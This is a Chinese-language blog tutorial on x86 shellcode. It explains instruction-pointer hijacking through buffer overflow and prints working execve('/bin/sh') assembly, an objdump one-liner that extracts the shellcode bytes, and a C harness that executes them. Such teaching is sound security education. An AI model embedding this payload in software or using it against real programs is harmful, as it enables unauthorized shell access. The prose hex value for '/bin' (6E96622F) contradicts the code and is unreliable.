guest@blog.cmj.tw: ~/posts $

Shell Code 102


shell code II 習得

若干年後 重新學習一下 shell code。基本的 shell code 概念是塞入 machine code 並執行

  1. 塞入的位址可寫、可執行
  2. 程式可跳轉到 shell code 位址

在程式執行過程中、每一個指令 (Instruction) 在記憶體中被標注是可執行、通常 IP 依序 往高位元 執行。 可能的意思表示會根據 Intruction Y 的意義而決定接下來可能執行的內容,像是: jmp 系列、 int 等等, 會短暫或永久的改變目前 IP 的內容。其中,call 是混合了 push、jmp、pop、ret 的操作,代表執行一個 subroutine 。 無視參數的部分 call 本身隱含了將下一個 IP 暫存在 stack 中 (push EIP/push RIP) 並修改目前的 IP 位址。 因程式是根據 IP 位址決定接下來預計執行的 Instruction 在記憶體中的位址,直接修改 IP 可以做到跳轉程式的目的。 而 ret 將會 pop 並將內容存放到 IP 中。

控制程式目前的 EIP/RIP 將下一個執行的 IP (Intruction Pointer) 指向 Shell Code 的區段。如果 callee 有 buffer overflow 的狀況,就可以修改 ret 暫存的位址 (通常是 [ebp+4]) 來改變程式執行。

Shell

像是在之前文章提到,利用 shell code 也需要會寫 shell code,最終使用 shell code 的目的就是拿到 shell script, 因此在 32bit 環境下可以使用若干方式達到目的,其中一種方式就是使用 execve 。為了更有效地使用而直接使用 中斷 方式呼叫 ,在 32bit 會使用 int 80 觸發 system call:當 eax 設定為 11 (0x0B) 時呼叫 execve,而參數的部分參考描述得知 EBX 是 arg0、ECX 是 arg1、EDX 是 arg2。執行的目的是 execve("/bin/sh", NULL, NULL) 所以僅需要塞入 EAX 跟 EBX。EBX 則透過 ESP 的方式塞入字串 /bin/sh 轉為 16 進位為 2F62696E2F7368,透過正確的排序方式後為 0068732F 6E96622F。但在利用 overflow 的時候原則上不能出現 00,因此將字串改為 /bin//sh 也就是 68732F2F 6E96622F。 而產生的 shellcode 可以用 objdump 查看。整理成一行可以用指令 objdump -d shell | sed '/[^\t]*\t[^\t]*\t/!d' | cut -f 2 | tr '\n' ' ' | sed -E 's#\s*([0-9a-f]{2})\s*#\\x\1#g'

; nasm -f elf32 shell.s
; ld -m elf_i386 -o shell shell.o
section .text
global _start

_start:
	push   0xb
	pop    eax
	push   ebx
	push   0x68732f2f
	push   0x6e69622f
	mov    ebx,esp
	xor    ecx,ecx
	xor    edx,edx
	int    0x80

之後可以用一個簡單 C 程式驗證

// gcc -g -m32 -z execstack shell.c
#include <stdio.h>

int main() {
	unsigned char shellcode[] = "YOUR SHELLCODE";

	printf("shell code len: %d\n", sizeof(shellcode));
	(*(void(*)())shellcode)();
}

Prevent

很多程式語言本身已經開始內建 buffer overflow 的 邊界檢查 (bounds checking) 。而部分編輯器、作業系統也提供部分檢查。